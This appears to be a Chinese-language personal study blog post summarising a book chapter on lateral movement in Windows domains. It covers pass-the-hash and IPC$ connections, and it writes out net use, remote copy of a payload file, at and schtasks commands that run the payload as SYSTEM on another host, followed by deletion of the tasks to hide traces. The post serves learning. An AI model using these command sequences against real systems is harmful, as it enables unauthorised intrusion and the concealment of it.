0x00背景

在沉寂了多少个日月,然后暂时不知道从何学起,先看一下书沉淀下,平静下自己浮躁的内心。

第五章 域内横向移动

简介:攻击者利用横向移动技术,可以让被攻陷的机器作为跳板,进而攻击其他域内机器,扩大资产范围(包括跳板机器中的文档和存储的凭证以及通过跳板机器连接的数据库、域控制器或其他重要资产)。

个人暂时理解到的横向移动手段:

  • 采用弱口令爆破
  • 利用smb漏洞、web系统组件漏洞、数据库组件(redis、postgrel、sqlserver、mysql、oracle)提权(这种也需要爆破出口令)、信息泄露直接登录服务器

PTH的使用

在拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH(Pass the Hash,凭据传递)的方法,将散列值或明文密码传送到目标机器中进行验证。

关于具体利用后续进行进一步学习,msf中也有直接利用的组件。这个PTH原理我目前未详情学习的时候,理解的是早期计算机认证的缺陷,只比较了用户输入密码的NTLM Hash值即直接判断用户身份。这一点在之前学习的Windows认证中有一定体会(回头再看看,搞忘了哈哈)。

IPC的使用

IPC(Internet Process Connection)共享”命名管道”的资源,是为了实现进程间通道而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

ipc$的作用是:可以与目标建立连接,利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

建立IPC$连接的命令:
net use \\192.168.1.100\ipc$ "密码" /user:administrator 

1617795664259

这种情况是说明lanmanworkstation服务未启动、ipc$已被删除。

但是检查了:

1617795780364

是开着的。

1617795878579

用win7连接server 2008成功。

接下来就可以直接利用了:

dir \\192.168.116.134\c$

1617796174291

关于后续的内网移动有两种方式:

计划任务创建恶意记录:
在windows server 2008之前的版本使用at命令:
利用这个计划任务有一个流程:
1.使用net time命令确定远程机器当前的系统时间。  --暂时不懂原因,可能时区不同导致计划任务一直不执行或出错。
2.使用copy 命令将payload文件复制到远程目标机器中。 --这个跟certutil差不多了。先把恶意文件搞过去。
3.使用at命令定时启动该payload文件  --执行恶意文件
4.删除使用at命令创建计划任务的记录   --最后是毁尸灭迹,这个词语不好,应该是隐藏自己。

相关命令大合集:

net time \\192.168.116.134
copy hack.bat \\192.168.116.134\C$
这下看书说明了。。。哈哈使用at命令必须要确认在指定时间,所以先用net time探哈路
at \\192.168.116.134 4:11PM C:\hack.bat Added a new jog with job ID=7
最后清除,跑路:
at \\192.168.116.134 7 /delete

刚刚说到了at命令受版本限制,新版本也就是Windows vista、Windows Server2008以及之后的操作系统已经将at命令废弃。使用schtask命令替代at。

相关命令大合集:

创建计划任务:
schtasks /create /s 192.168.116.134 /tn test /sc onstart /tr c:\hack.bat /ru system /f
执行命令:
schtasks /run /s 192.168.116.134 /i /tn "test"
跑路:
schtasks /delete /s /192.168.116.134 /tn "test" /f

跑路二连删除ipc$:
net use 名称 /del /y

今天主要学习了利用计划任务配合IPC$连接进行域内横向渗透,除了命令的了解,更多了解为什么这样做可以横向移动,其实就是利用一种共享管道的方式执行系统命令,然后就是常规操作。

关于计划任务的利用后续可以进一步学习,今天先到这里了。